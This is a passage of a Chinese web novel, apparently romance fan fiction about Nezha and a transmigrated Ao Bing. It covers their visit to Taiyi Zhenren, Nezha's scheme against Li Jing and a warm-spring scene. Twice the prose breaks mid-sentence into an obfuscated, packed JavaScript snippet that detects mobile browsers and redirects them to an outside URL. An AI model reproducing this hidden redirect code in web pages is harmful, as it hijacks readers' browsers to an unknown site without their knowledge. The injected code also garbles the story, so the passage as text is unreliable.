“要降温,一只手怎么够。”哪吒把他压在怀里,像白日里拥住他那样,只是换了个地点,他接着道,“自然是接触面越多越好。” 好像有道理,又好像哪里有点奇怪。 ……哎,好朋友抱着睡很正常嘛,肯定是因为他以前没有朋友才会觉得奇怪。 沈何又一次成功说服了自己,心头的事解决了,困意便卷土重来,于是没有一点挣扎,昏昏沉沉地倚着莲香睡了。 梦里他抱着一株火莲,莲花又香又暖和,竟然一点都不热。莲花茎倒有些硬梗梗的,摸着像石头。不知为何,见到这火莲他就觉得亲切且欢喜,所以贴着蹭着,抱了又抱。 美中不足的是,莲花茎上长了一截分枝,戳得他不太舒服。他企图把分枝掰远一点,但那分枝和他作对似的,反而又长长一截。 沈何恼了,丢开火莲要自己睡,结果火莲像活的一样,追着他缠上来,抵得他后腰酸痛酸痛的。 但是他太困太想睡觉了,索性不再搭理,非要缠着那就缠吧。 夜色里,某人自背后拥着怀里的人,压出一口浊气。 他不知道他怎么了,只是凭本能把想要的人按在怀里,似乎这样就能缓解他的痛苦。 可缓解之余,血液里像有什么在叫嚣、不贪足。 怀里温凉的人不安分地动了动腰身。 哪吒闭了闭眼,无师自通地在这种时候默念起清心咒。 11. 第 11 章 翌日天光从窗纸折映在床榻上时,床上的人眼皮颤了颤,疏懒地翻了个身,却在身侧摸到一片空荡。 沈何猛地睁开眼,再次确认身边空空如也后,迟疑地坐起身,慢吞吞将屋内扫了一遍——哪吒真的不在。 约莫是他太能睡,哪吒先起就出去了……他下意识揉了揉腰后,总觉得梦里的触感十分真实,他的后腰当真有些酸麻麻的。 商朝没有手表,多用圭表或日晷。他进耳房洗漱后,出来再看日头,粗浅估摸应到辰时末或巳时初了。 之前在龙宫的时候,秋汝生要求他卯时便要起身练功,不过他学得还算快,一般到午时就能完成一天的量。而午后秋汝生一般不在东海,他就可以美美躺尸当一条咸鱼龙。 结果第一天在岸上过夜,竟就一觉贪婪睡到巳时。沈何假意谴责自己一番,随后毫无心理负担地推开房门,准备随机抓取一个幸运儿询问哪吒的去向—— 院子里一个人都没有。 眼下天光正好,晴朗无风,沈何却陡然打了个哆嗦。他分明记得昨天进院时是有三两个侍从的,现在青天白日,院落里连半个人影都不见,未免太奇怪了些。 他抿了抿唇,犹豫着一步三回头地走到院门前。 竟然真的一个人都没有。 ……或许是府里有事都去帮忙了。 哪怕直觉绷出的紧弦在脑中猛跳,沈何咽了咽口水,试探着伸手要推开竹木门—— 门却先他一步从外面打开。 沈何怔着后退一步,在看清来人的面容后终于无声松了口气。 他嗓音很轻,“原来你在啊。” “临时有事被叫去了,”哪吒望着他有些苍白的小脸,习惯地抬手抚了抚,“是不是饿了,我在外间的桌案上给你留了早膳。” “……没注意。”沈何眨了眨眼,“我看你不在,院子里也没人,想出去找你。” 哪吒闻言却罕见地沉默了片刻,转而拉起他的手腕道,“先吃饭吧。” 看哪吒的样子,恐怕发生的不是容易事。沈何乖乖被他牵住手,体贴地没有多问。 今日的早膳是桂花米糕,搭了一碗清甜的莲子粥。他已经许久没吃过如此“山珍海味”了,龙宫里日日吃小鱼虾米海草藻苔他吃了三天就吃够了。 不是不够丰盛,而是没有味道。 敖光早已辟谷,龙宫中但凡有点修行的龙兵虾将基本都是直接在宫外捕食,只有一个沈何被纵容娇惯着,每日膳食都是处理搭配好送到他跟前的。 可再鲜美的虾鱼,没有调料,连吃两次就显得寡淡,甚至味同嚼蜡。 但沈何只是小口抿了抿莲子粥,甜滋滋的味道在味蕾绽放开,他却无暇品味,只若有若无地用眼睛去看身旁的人。 哪吒看出他的心不在焉,垂眸问,“不合胃口么?”他看昨日沈何吃甜糕吃得欢,以为他会偏爱味甜的食物。 沈何摇了摇头,总算低头认真吃起来。 “晚些我带你出去,”哪吒支手撑着下颌,看着他道,“你还没见过我师父,他那宝贝多,随你玩。” 去找太乙真人?沈何咀嚼的动作不动声色慢了下来,他感觉哪吒要说一件很重要的事。 不出所料,下一刻就听哪吒道—— “李靖受了重伤,我得去乾元山附近采药。” 谁重伤谁采药? 沈何瞪大眼睛,一时有些难以反应过来,片刻后才装作毫不知情的模样懵然道:“……你爹受伤了?” “似是巡城的时候被什么人打伤了,还剩一口气。”哪吒浑不在意,又拿了一块米糕塞到他嘴里让他吃,“我娘哭得肝肠寸断,我这个作‘儿子’的,自然得表示一下。” 沈何其实已经饱了,但哪吒都把米糕塞他嘴里了,他只能慢慢吃掉。他记得李靖因怀疑哪吒是妖物所以一直对哪吒管教严厉,但原著中哪吒起初对李靖是怀有子对父的孺慕之情的,就连抽了敖丙的龙筋都拿回去给李靖做了龙筋绦。 两人真正变得水火不容,应是从李靖毁了哪吒重塑肉//身的庙宇之后。 可如今……沈何想到不久前哪吒才和李靖在东海大打一架,心道这怕是结怨已久了。 他想了想,道:“我和你一起,会不会不方便?” 虽说几乎各个版本中太乙真人都是一个慈师护短的形象,可那是对哪吒而言。再者,沈何一个外人在这种时候掺和其中似乎并不合适。 “有什么不方便,”哪吒看着他,“你想回龙宫了?” 好死亡的提问。沈何眼睛溜圆,“怎么会呢?” 哪吒不说话,只是眸色更深沉了些,看得沈何心惊胆战。 于是他积极解释,“我只是想,你师父…应是得道高人,我若是与你同去,他会不会……” “他不会管。”哪吒见他进食的速度慢了,知道他是吃饱了,递上巾帕和漱口的茶水,“你若担心,一直与我一道便是。” 显然他是铁了心要带上他了,沈何放弃挣扎,“好哦。” 哪吒这才将他的外袍拿出叫他穿上,道:“你且放心,他多数时间都在闭关炼器,你与我交好,他亦不会为难你。” 沈何没能见到哪吒口中奄奄一息的李靖,这是哪吒的家事,在哪吒和殷素知交代后就随他去往了乾元山。 太乙似乎给了哪吒传送的法器,从陈塘关到山上洞府不过恍然片刻。 金光洞洞前的小童识得哪吒,却不认得沈何,本欲将沈何拦在洞外,对上哪吒瞥来的目光,又默默把嘴边的话咽了下去。 罢了罢了,只管叫真人管这混祖宗吧。 金光洞中,太乙真人正坐于石台上打坐,一听步声,手中拂尘微动,旋着飓风直朝来者面门而去。 哪吒挡身将沈何护在身后,被那拂尘打了一下左肩,吃痛出声。 “哪吒!” 沈何连忙搀住他的手臂,面上忧色未散,却被他反握住手指,安抚似地抚了抚。 方才那拂尘并非是冲着沈何去的,可冲着哪吒反倒更令人匪夷所思。沈何来不及细想,就听洞内传来一个声音—— “逆徒,还不进来!” 来都来了,此时就是想走也走不了了。沈何扶着身边人的手臂,硬着头皮走进洞中。 一个头发花白,清瘦慈祥的老者盘腿坐在洞内,他口中默念了什么,落在洞口的拂尘便得到召令似的回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496202|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了他手中。 沈何下意识拉着哪吒后退一步。 太乙真人有所察觉地看向他,却很快撇过眼,转而对哪吒喝道:“你可知罪?” 哪吒扯了扯唇,“我何罪之有?” “还敢跟老夫装糊涂?!”太乙气得吹胡子瞪眼,拂尘险些怼到哪吒鼻上,“你收买旁人谋害你亲父,按律法合该砍了你的头!” 哪吒:“那砍了就是,我早也不稀罕这肉//身。” 他身上流着李靖的血,单是想想就足够让他恶心想吐了。 “你!” 太乙险些七窍生烟,你了半天也没你出个所以然,忽地拂尘调了个方向,哪吒一把将身边的少年拉到身后。 “他是我至交好友,陪我一同来寻药草的,你有什么冲我来。” 太乙:“……” “为师有要事问你,你…你叫你这小友先回避。” 哪吒不为所动,“他不是外人,有什么事你直接问。” ……这死小子。 太乙努力维持的仙风道骨几乎要被哪吒激得溃不成军。半晌他才抖着胡子开口,“那我问你,你如何得知石矶的身世,又是如何得到的什么女娲石去哄骗她杀李靖?” 哪吒沉默两瞬,有些玩味道,“她不是没杀么?” 不仅没杀,还找上了太乙陈情诉状。 “你且莫管,”太乙道,“将我问你的从实招来。” “我可没骗她。”哪吒依旧没什么表情,既不恼怒也不愤恨,“那块石头的确能增进她的功力。” 他顿了顿,补上了一句,“只要杀了李靖。” “就算李靖对你多有严厉训斥,可他到底是你的生身父亲。”他直说出来,太乙反而生不起气,无奈叹道,“你若杀了他,世道如何容你?” “世道容不容是世道的事,我只合我自己心意。”哪吒满不在乎,他做的不合世道的事还少么,“即便我再谨小慎微,容不下我的人总能挑出错处。” 太乙张嘴又闭,最后只化作一声浓浓的叹息。 “我倒是想杀他,可惜天道不允。”哪吒道,“既然我杀不了,总要试试旁人能不能。” 他所说的天道不允,是他对李靖生有杀心时,总有无形的力量阻挠他夺李靖之命脉。 前世他肉//身重塑后要杀李靖,又被燃灯道人的玲珑宝塔制住,直到封神赴任,李靖也肉//身尚在,甚至被封为托塔天王,掌统天兵。 哪吒想,未免太便宜他了。 太乙哪能听不出他的言外之意,良久叹道:“人人皆有命数,破不得、坏不得。” 阎王手中的生死簿,早在人一出生时就写好定下了,凡间众人如何能左右呢? “什么命数。”哪吒竟笑了笑,“倘若我烧了后山所有的倪蓝花,李靖还有命活么?” 倪蓝只开在乾元山四周,李靖虽未被石矶所伤,却不知招惹了什么妖怪魔物,回到陈塘关时几乎全身溃烂,气若游丝。 如果太乙没有及时去给他服下续命丹,恐怕李靖已经一命归西了。 太乙只被他一句话恼得头晕眼花,“你要烧后山,是要毁了为师的洞府不成?!” 12. 第 12 章 哪吒被太乙真人关了禁闭。 李靖需要倪蓝花治伤不假,但乾元山后山四处都是倪蓝,用不上哪吒专门跑一趟“采药”。太乙本就是以此为借口让哪吒到乾元山反思的。 与其叫“反思”,不如说是避祸。 一来那伤了李靖的妖物尚不知身份,连太乙一时都没能查清底细,二来石矶在骷髅山虎视眈眈,恐怕对哪吒手中的“女娲石”多有觊觎——不论李靖是被谁所伤,若是在这种时候传出哪吒有弑父之心,对哪吒来说百害而无一利。 倒不如太乙先做了这个恶人,好让哪吒免受旁人指摘。 昏暗狭小的石室中,哪吒衣衫半褪,露出被拂尘打伤的左肩。 原本光滑的皮肤红肿不堪,在一盏小得可怜的烛台照耀下更显凄惨。 太乙出手虽收了力,可道人的拂尘不比其他,打在肉//体凡胎上足够可怖了。 沈何不由拧了下眉,小心将伤药倒敷在他伤口上,指腹仔细把药粉涂匀,随后轻轻吹了吹,仿佛如此能减轻一些哪吒的疼痛。 “只是看着骇人,”哪吒偏头,看见烛灯下沈何松不开的眉头,宽慰道,“骨头都没伤到,皮外伤罢了。” 沈何仍旧蹙眉不语,沉默地撕下里衣的布子替他裹上伤口。 太乙真人虽提供了绷布,但沈何看过了,不比做他衣裳的雪蚕丝好。 待他包扎完,哪吒连忙拢上衣服,拉住少年微凉的手腕,“小乖。” 沈何手里攥着烛台,挪开视线装没听见。 “……别生气,我不是故意的。”哪吒凑近他的脸,想像之前那样捏捏他的腮肉,却被沈何无情躲开,“你若觉得此处逼仄,我请师父先送你回东海好不好?” 沈何眉头动了动,以一种很奇怪的眼神看向面前的人。 哪吒却以为他是心动了,才说出的话心里又后了悔,但眼下的状况强留敖丙怕是适得其反,只好道:“待我处理完这些事,再去找你。” 石矶没去杀李靖并不在哪吒意料之外,毕竟石矶也是千年石精,女娲石对她诱惑虽大,却还没到彻底让石矶昏头的地步。 哪吒会找她,一来是陈塘关附近有能力有胆量杀李靖的人少之又少,二来石矶身份特殊,与李靖又有些渊源,不失为一个最好的人选。 倘若石矶当真为博一程杀了李靖最好,即便没杀…… 哪吒漆黑的眸色几乎和石室内的昏暗融为一色。 他也达成目的了。 “方才真人的拂尘打过来,你明明可以躲开,为什么要硬抗一击?”沈何突然说。 哪吒怔了怔,似是未曾料到他会突然问这个,少顷才道:“他在气头上,我主动受那一下,能免去些麻烦……师父刀子嘴豆腐心,不是还给我送药了么?” 疼在你身上啊傻子。 沈何狠狠一掌拍在他手背上,背过身去不理他。 哪吒张了张唇,指尖从身后勾着沈何的衣带,“你不回东海了?” “我什么时候说要回去了,你不是说要我陪你吗?”沈何动了动腰想甩掉他的手,却被人自后面抱住,想挣扎又怕碰到他的伤,只好偏过脸接着道,“再说我好不容易出一次龙宫,还没玩够本呢。” “和我一起关禁闭也没事?” 沈何噎了一下,“真人说关你,可没说连我要一起关。”他是看哪吒一个人太孤独才没走的好吧? 哪吒将下巴窝在他颈侧,“嗯,所以你是心疼我,才舍不得走。” 是吗,沈何心道心疼这俩字是不是太暧昧了,关羽会心疼张飞吗? 会吧,好兄弟受伤了肯定会担心着急的。 沈何正要煞有其事地点头,就听石室的门忽地拉开,外头的光亮透进来。是金光洞门前的小童,他道:“这位道友,真人想请您一叙。” 太乙真人找他……?沈何还没来得及说话,便听身后的人道:“他什么都不知道,单独问他也没用。” 太乙真人气急败坏的声音从石室外传来,“臭小子,我是有事同他说,还能害了他不成?” 沈何:“……” 哪吒:“……” 沈何抿了抿唇,虽和太乙真人仅有一面之缘,但从他方才的态度来看,应当也不会太为难他。他低眸拉下哪吒的手,小声道:“没关系。” 哪吒皱了下眉,太乙过去和敖丙完全没有接触,如果不是想从敖丙口中旁敲侧击杀李靖之事,那是想做什么? 他虽心有疑虑,到底没有阻拦。 石室的门在沈何身后合上。沈何看了石座上的道人一眼,小心走上前拜道:“东海龙王三子敖丙,见过太乙真人。” 方才事态不对,哪吒又把他挡护得像蚌壳里的珍珠,他自然没能向太乙正式介绍自己。 太乙虽是古稀老人的模样,一双眼睛却清亮如锋。他望着沈何道:“你如今年岁几何?” “三百二十一岁。”沈何道。 太乙了然颔了颔首,对一旁的小童道:“为小敖道友看座。” 沈何有些拘谨地谢过,随即在太乙真人不远处坐下,颇有一种上课被老师单独点名的局促感。太乙真人笑道:“不必紧张,贫道只是想问小友一些事情。” 沈何点头,“真人但说无妨。” 太乙:“你与哪吒是怎么认识的?” “前一阵哪吒总到东海岸边去,”沈何半垂着眸子,抹去他穿书预知的因素,半真半假道,“我在海里无聊,好奇他想做什么,就上岸看看……便同他结识了。” 太乙也看不出信没信,只久久望着他,半晌道:“小友,贫道见你,近来恐怕有杀劫啊。” 沈何瞳色一震。 …… 太乙说是要关哪吒禁闭,实则也就让他在石室里待了半天运转疗伤。红衣少年一从石室里出来,抬脸便道:“敖丙呢?” “他先天神魂不稳,为师叫他去后山的暖泉修炼,怎么?”太乙斜睨他一眼,“这才几个时辰,把人小友追那么紧做什么?” 哪吒眉头蹙着,捕捉到他话里的关键,“神魂不稳?” “不是什么大事。”太乙挥了挥手,道,“正好你伤势好了,去后山采些倪蓝花回来,为师要炼制解毒丹。” 哪吒虚手一指他身后,“那不是多着呢?” “你便去再采些又如何!”若不是顾及形象,太乙早就被气得跳脚,“还不快去!” 倪蓝花长的最多的地方,不就是后山的暖泉么?哪吒耸了耸肩,他只去后山,可没说去干什么。 乾元山受日月光华照耀,又有阐教仙人坐镇,长年受灵气滋养,在后山处蕴养了一湖暖泉,四季恒温,是人疗伤温养的好去处。 哪吒倒是鲜少到乾元山来,前世今生他在乾元山待的最久的时候,就是他肉//身被毁,不得不以魂魄存活的时候。 后山的暖泉他只在以莲藕重塑身体时短暂泡过几日,如今寻去到觉得山路崎岖有些生疏了。他拨开成簇长着的倪蓝花,总算在花草后找到了暖泉。 只是那暖泉中静如冷潭,除去飘逸在空中的雾气,不见半个人影。 哪吒神色轻变,太乙难道诓他不成? 哗啦—— 脚边水波骤起,哪吒手中下意识凝起法力,只见一龙角少年从泉底钻出来半个身子,眉眼朦胧在雾中。 沈何道:“你找我?” “……嗯。” 法力在指间消散,哪吒喉头微滚,故作镇定地蹲下//身和他视线平齐,“感觉还好么?” “真人说我什么什么不稳,所以叫我到此处修炼。”沈何手抵在岸边,微仰着脸道,“真人当真是好人,第一次见面就肯把温泉给我泡。” 哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496203|170201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是天资再愚钝的人也分得清好赖,这湖暖泉灵气充沛,修行者浸泡其中即便不运转收纳也会觉浑身通泰畅快,如此好的暖泉,必然不是随便什么人都能泡的。 沈何道:“当然还是你功劳最大,我沾了你的光呢。” 哪吒凝望着他的眼睛,“我的?” “对呀,”沈何对岸上之人陡然深邃的眉目毫无察觉,温声道,“若非我是你的朋友,真人又岂会帮我呢?” 哪吒似是笑了一下,在白雾里看不清明,“他和你说了什么?” 沈何神情变了变,眼帘落了下去,“没什么大事,就是问了问你我如何相识,又问了问我父王近况。” 他说谎的时候总会无意识避开对方的视线,哪吒一眼便看出他没说实话,却不戳穿,“没了?” 沈何摇头,“没了。” 他顿了一下,像是有意揭过这个话题,转而道:“我还没问你怎么寻来了,真人放你出来了?” 哪吒垂眼,“嗯。” “那你的伤呢,好些了吗?” 虽然哪吒蹲了下来,但和他还是有些距离。沈何仰着脑袋,修长的脖颈被暖雾熏得像粉藕,水珠挂在他锁骨间仿佛粒粒珍珠。 哪吒抚住他的肩膀,“好多了。” 此前沈何是见识过哪吒法术的厉害的,不过太乙真人出手应和被外物刮伤不同。他道:“真人叫你来,是也让你泡泉疗伤吗?” 哪吒怔了一下,片刻轻轻“嗯”了一声。 “那你快脱了衣服下来吧,这泉水可灵了,越早泡伤好得越快。” 说着沈何就要走远些给他让出位置,但这泉水说深不深说浅不浅,他从岸边往里游,脚下忽地踩空,整个人便咕嘟一下沉了下去。 “小乖!” 哪吒一惊,来不及脱下外衣也纵身沉进泉内,混乱中拉到他的胳膊将人带了上来。 饶是沈何日日住在东海,甫一下浸到水里也没反应过来,撑在哪吒肩上缓了半晌,伸手擦了擦颌下的水渍,“真是的,笨死我算了。” 在水里都能一脚踩空,谁不夸他是御水天才。 哪吒松了口气,托着他的腰身让他把身体的一半重量都压到自己身上,“大概是有些。” “不许你说,”沈何捂他的嘴,“我可以说我笨,你不可以。” 沈何手上带来的温水滴滴落在哪吒的胸口,他被捂了嘴也不挣扎,对沈何弯了下眼睛,像是说沈何太霸道。 这下反倒是沈何愣了,哪吒方才着急捞他上来整个人都钻到了泉水里,两人都没有避水,暖泉的水几乎把他们全部浸湿,从发丝到脚踝,以及脸上。 哪吒生得好,浓眉凤眼,粉面翘唇,笑眼望过来的时候蛊惑的意味最浓,沈何和他第一次见面还是小龙的时候就险些被他的皮相迷了心神。 沈何烫眼似的瞥开目光,同时松下了捂住他唇的手,“我们还是各泡各的吧。” “为什么,”哪吒勾住他,“我觉得这泉水有些冷,你和我一起温度就刚好。” 沈何震惊,“这哪里冷了?” “你不是我,我就觉得冷。”哪吒揽着他靠在岸边的石子上,“你忍心看我负伤还泡冷泉么?” 就算哪吒身体温度本就高一些,可与属阴水的沈何待在一起不是更冷么? 沈何抬眼想要反驳,对上红衣少年湿漉漉的眉毛眼睛登时到嘴边的话气就散了,只好道:“好罢好罢,随你了。” 哪吒心满意足地半拥住他,沾了水色的唇瓣下意识在沈何颈侧碰了碰,倏地愣在原地。 沈何奇怪地看了他一眼,“你这两日怎么总喜欢走神?” 哪吒揽在他肩上的指节微微收紧,许久摇了下头,遮掩似的用额头蹭了蹭沈何的颈窝。 他刚刚到底在干什么? 他在……亲小乖的脖子吗?